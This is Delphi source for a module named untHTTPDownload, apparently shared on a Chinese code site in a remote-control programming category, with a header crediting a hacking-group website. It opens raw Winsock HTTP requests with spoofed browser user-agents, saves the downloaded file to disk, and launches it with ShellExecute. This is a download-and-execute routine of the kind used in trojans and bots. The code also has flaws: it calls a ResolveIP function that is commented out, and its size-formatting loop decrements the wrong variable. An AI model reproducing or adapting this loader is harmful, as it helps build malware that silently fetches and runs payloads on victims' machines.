untHTTPDownload.pas
上传用户:sinothink
上传日期:2022-07-15
资源大小:459k
文件大小:6k
源码类别:

远程控制编程

开发平台:

Delphi

  1. {南域剑盟    www.98exe.com   上兴QQ:51992
  2.  声明:程序由南域剑盟98exe.com成员网上搜集,不承担技术及版权问题}
  3. unit untHTTPDownload;
  4. interface
  5. Uses
  6.   Windows, Winsock,SysUtils2;
  7.   Function ExecuteFileFromURL(dHost: String; dTo: String): String;
  8. //  Function ResolveIP(HostName: String): String;
  9. implementation
  10. Function CreateGet(Host, SubHost, Referer: String; Mozilla: Bool): String; 
  11. Begin
  12.   If (Not Mozilla) Then
  13.     Result := 'GET /'+SubHost+' HTTP/1.1'#13#10+
  14.               'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*'#13#10+
  15.               'Referer: '+Referer+#13#10+
  16.               'Accept-Language: en-us'#13#10+
  17.               'Accept-Encoding: gzip, deflate'#13#10+
  18.               'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)'#13#10+
  19.               'Connection: Keep-Alive'#13#10+
  20.               'Host: '+Host+#13#10#13#10;
  21.   If (Mozilla) Then
  22.     Result := 'GET /'+SubHost+' HTTP/1.1'#13#10+
  23.               'Host: '+Host+#13#10+
  24.               'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2'#13#10+
  25.               'Accept: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'#13#10+
  26.               'Accept-Language: en-us,en;q=0.5'#13#10+
  27.               'Accept-Encoding: gzip,deflate'#13#10+
  28.               'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7'#13#10+
  29.               'Keep-Alive: 300'#13#10+
  30.               'Connection: Keep-Alive'#13#10+
  31.               'Referer: '+Referer+#13#10#13#10;
  32. End;
  33. Function StrToInt(Const S: String): Integer;
  34. Var E: Integer; Begin Val(S, Result, E); End;
  35. Function IntToStr(Const Value: Integer): String;
  36. Var S: String[11]; Begin Str(Value, S); Result := S; End;
  37. {Function ResolveIP(HostName: String): String;
  38. Type
  39.   tAddr = Array[0..100] Of PInAddr;
  40.   pAddr = ^tAddr;
  41. Var
  42.   I             :Integer;
  43.   WSA           :TWSAData;
  44.   PHE           :PHostEnt;
  45.   P             :pAddr;
  46. Begin
  47.   Result := '';
  48.   WSAStartUp($101, WSA);
  49.     Try
  50.       PHE := GetHostByName(pChar(HostName));
  51.       If (PHE <> NIL) Then
  52.       Begin
  53.         P := pAddr(PHE^.h_addr_list);
  54.         I := 0;
  55.         While (P^[I] <> NIL) Do
  56.         Begin
  57.           Result := (inet_nToa(P^[I]^));
  58.           if Result<>'' then break;
  59.           Inc(I);
  60.         End;
  61.       End;
  62.     Except
  63.     End;
  64.   WSACleanUp;
  65. End;
  66. }
  67. Function GetKBS(dByte: Integer): String;
  68. Var
  69.   dB    :Integer;
  70.   dKB   :Integer;
  71.   dMB   :Integer;
  72.   dGB   :Integer;
  73.   dT    :Integer;
  74. Begin
  75.   dB := dByte;
  76.   dKB := 0;
  77.   dMB := 0;
  78.   dGB := 0;
  79.   dT  := 1;
  80.   While (dB > 1024) Do
  81.   Begin
  82.     Inc(dKB, 1);
  83.     Dec(dB , 1024);
  84.     dT := 1;
  85.   End;
  86.   While (dKB > 1024) Do
  87.   Begin
  88.     Inc(dMB, 1);
  89.     Dec(dKB, 1024);
  90.     dT := 2;
  91.   End;
  92.   While (dMB > 1024) Do
  93.   Begin
  94.     Inc(dGB, 1);
  95.     Dec(dKB, 1024);
  96.     dT := 3;
  97.   End;
  98.   Case dT Of
  99.     1: Result := IntToStr(dKB) + '.' + Copy(IntToStr(dB ),1,2) + ' kb';
  100.     2: Result := IntToStr(dMB) + '.' + Copy(IntToStr(dKB),1,2) + ' mb';
  101.     3: Result := IntToStr(dGB) + '.' + Copy(IntToStr(dMB),1,2) + ' gb';
  102.   End;
  103. End;
  104. Function LowerCase(Const S: String): String;
  105. Var
  106.   Ch    :Char;
  107.   L     :Integer;
  108.   Source:pChar;
  109.   Dest  :pChar;
  110. Begin
  111.   L := Length(S);
  112.   SetLength(Result, L);
  113.   Source := Pointer(S);
  114.   Dest   := Pointer(Result);
  115.   While (L <> 0) Do
  116.   Begin
  117.     Ch := Source^;
  118.     If (Ch >= 'A') And (Ch <= 'Z') Then
  119.       Inc(Ch, 32);
  120.     Dest^ := Ch;
  121.     Inc(Source);
  122.     Inc(Dest);
  123.     Dec(L);
  124.   End;
  125. End;
  126. Function HTTPReceive(Sock: TSocket): Integer;
  127. Var
  128.   TimeOut       :TimeVal;
  129.   FD_Struct     :TFDSet;
  130. Begin
  131.   TimeOut.tv_sec := 120;
  132.   TimeOut.tv_usec :=  0;
  133.   FD_ZERO(FD_STRUCT);
  134.   FD_SET (Sock, FD_STRUCT);
  135.   IF (Select(0, @FD_STRUCT, NIL, NIL, @TIMEOUT) <= 0) Then
  136.   Begin
  137.     CloseSocket(Sock);
  138.     Result := -1;
  139.     Exit;
  140.   End;
  141.   Result := 0;
  142. End;
  143. Function DownloadFile(Host, dTo: String; VAR dTotal, dSpeed: String): Bool;
  144. Var
  145.   Web           :TSocket;
  146.   WSA           :TWSAdata;
  147.   Add           :TSockAddrIn;
  148.   Buffer        :Array[0..15036] Of Char;
  149.   SubHost       :String;
  150.   Buf           :String;
  151.   Size          :Integer;
  152.   rSize         :Integer;
  153.   F             :File Of Char;
  154.   Start         :Integer;
  155.   Total         :Integer;
  156.   Speed         :Integer;
  157. Begin
  158.   Result := False;
  159.   If (Host = '') Then Exit;
  160.   If (Host[Length(Host)] = '/') Then Delete(Host, Length(Host), 1);
  161.   If (LowerCase(Copy(Host, 1, 4)) = 'http') Then Delete(Host, 1, 7);
  162.   If (Pos('/', Host) > 0) Then
  163.   Begin
  164.     SubHost := Copy(Host, Pos('/', Host)+1, Length(Host));
  165.     Host := Copy(Host, 1, Pos('/', Host)-1);
  166.   End Else
  167.     SubHost := '';
  168.   WSAStartUP(MakeWord(2,1), WSA);
  169.     Web := Socket(AF_INET, SOCK_STREAM, 0);
  170.     If (Web > INVALID_SOCKET) Then
  171.     Begin
  172.       Add.sin_family := AF_INET;
  173.       Add.sin_port := hTons(80);
  174.       Add.sin_addr.S_addr := inet_addr(pChar(ResolveIP(Host)));
  175.       If (Connect(Web, Add, SizeOf(Add)) = ERROR_SUCCESS) Then
  176.       Begin
  177.         Buf := CreateGet(Host, SubHost, '', FALSE);
  178.         Send(Web, Buf[1], Length(Buf), 0);
  179.         Recv(Web, Buffer, 5012, 0);
  180.         Buf := String(Buffer);
  181.         Delete(Buf, 1, Pos('Content-Length', Buf)+15);
  182.         Delete(Buf, Pos(#13, Buf), Length(Buf));
  183.         Size := StrToInt(Buf);
  184.         Total := 1;
  185.         Start := GetTickCount;
  186.         AssignFile(F, dTo);
  187.         ReWrite(F);
  188.         Repeat
  189.           If (HTTPReceive(WEB) = 0) Then
  190.           Begin
  191.             rSize := Recv(Web, Buffer, SizeOf(Buffer), 0);
  192.             Total := Total + rSize;
  193.             If (rSize > 0) Then
  194.               BlockWrite(F, Buffer, rSize);
  195.             Dec(Size, rSize);
  196.           End Else
  197.             Break;
  198.         Until Size = 0;
  199.         CloseFile(F);
  200.         Speed := Total DIV (((GetTickCount - Start) DIV 1000) + 1);
  201.         dTotal := GetKBS(Total);
  202.         dSpeed := GetKBS(Speed);
  203.         If (Size <= 0) Then
  204.           Result := True
  205.         Else
  206.           Result := False;
  207.       End;
  208.     End;
  209.     CloseSocket(Web);
  210.   WSACleanUP();
  211. End;
  212. Function ExecuteFileFromURL(dHost: String; dTo: String): String;
  213. Var
  214.   Total :String;
  215.   Speed :String;
  216. Begin
  217.   If (DownloadFile(dHost, dTo, Total, Speed)) Then
  218.   Begin
  219.     ShellExecute(0, 'open', pChar(dTo), nil, nil, 1);
  220.     Result := 'Downloaded '+Total+' to '+dTo+' in '+Speed+'/s'#10;
  221.   End Else
  222.     Result := 'Download Failed'#10;
  223. End;
  224. end.